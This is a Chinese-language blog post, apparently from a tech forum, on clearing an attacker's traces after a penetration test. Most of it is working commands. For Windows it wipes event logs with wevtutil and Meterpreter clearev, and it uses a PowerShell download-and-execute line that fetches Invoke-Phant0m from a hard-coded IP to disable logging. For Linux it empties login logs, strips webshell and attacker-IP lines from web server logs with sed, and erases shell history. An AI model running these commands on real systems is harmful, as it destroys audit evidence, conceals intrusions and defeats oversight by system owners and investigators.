痕迹清除

在渗透测试过程中,Windows日志往往会记录系统上的敏感操作,如添加用户,远程登录,执行命令等。攻击者通常会对Windows日志进行清除和绕过。

windows痕迹清除
如何查看:

  • 事件查看器 -> windows日志
  • win+r eventvwr.msc
    保存路径:
    C:\Windows\System32\winevt\Logs\

包括五个类别:应用程序、安全、Setup、系统、转发事件在这里插入图片描述
powershell -c “Get-WinEvent -FilterHashtable @{logname=‘Application’;}”

➢ 系统日志:System
记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。
➢ 应用程序日志:Application
包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志
中记录文件错误,程序开发人员可以自行决定监视哪些事件。
➢ 安全日志:Security
记录系统的安全审计事件,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、帐号管理、
策略变更、系统事件。安全日志也是调查取证中最常用到的日志。

wevtutil.exe:用于检索有关事件日志和发布者的信息,安装
和卸载事件清单,运行查询以及导出、存档和清除日志。
wevtutil cl security
wevtutil cl system
wevtutil cl application
wevtutil cl “windows powershell”在这里插入图片描述

meterpreter清理日志
• 删除所有在渗透过程中使用的工具
• 删除之前添加的账号:net user username /del
• 删除应用程序、系统和安全日志:clearev #分别清除了应用程序,系统和安全模块的日志记录。
• 关闭所有的Meterpreter连接:sessions –K
在这里插入图片描述
• 查看事件日志:run event_manager -i
• 删除事件日志:run event_manager -c在这里插入图片描述
在这里插入图片描述
利用脚本让日志功能失效,无法记录日志。
powershell “IEX(new-object system.net.webclient).downloadstring(‘http://47.101.214.85:8000/Invoke-
Phant0m.ps1’);Invoke-Phant0m”在这里插入图片描述
把eventlog对应的svchost进程结束,重新开启Windows Event Log服务,即可恢复日志记录在这里插入图片描述
在这里插入图片描述

Linux痕迹清除
ssh远程登录会产生登录日志
命令 日志文件 描述
last /var/log/wtmp 所有成功登录/登出的历史记录
lastb /var/log/btmp 登录失败尝试记录
lastlog /var/log/lastlog 最近登录记录
w,who /var/run/utmp 记录当前登录的每个用户的信息,它只保留当时连接的用户记录,不会为用户
保留永久的记录
命令的输出包括:登录名,上次登录时间,IP地址,端口等。

last等日志是二进制文件,无法直接修改。所以清除的最简单方式是清空日志文件本身。
清空lastb对应的/var/log/btmp文件需要root权限

/var/log/wtmp
/var/log/btmp
/var/log/lastlog
/var/log/httpd/access.log
/var/log/nginx/access.log

在这里插入图片描述
web日志清理
cat /var/log/nginx/access.log | grep -v shell.php > /tmp/a.log
cat /tmp/a.log > /var/log/nginx/access.log
sed -i -e ‘/shell.php/d’ /var/log/httpd/access.log
sed -i -e ‘/123.123.123.123/d’ /var/log/httpd/access.log
第一条删除所有包含shell.php这个字符串的行
第二条删除包含123.123.123.123这个字符串(我们自己的IP)的行.

/var/log/cron:记录了系统定时任务相关的日志在这里插入图片描述
/var/log/secure:记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中。
在这里插入图片描述
history:显示历史记录
~/.bash_history:历史记录文件
删除全部历史记录:history –w && history –c && > .bash_history
删除指定行的历史记录:history -d 111
备份还原历史记录:cp .bash_history his.txt
删除100行以后的历史记录:sed -i “100,$d” .bash_history

开启无痕模式,禁用命令历史记录功能。
set +o history
恢复
set -o history

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值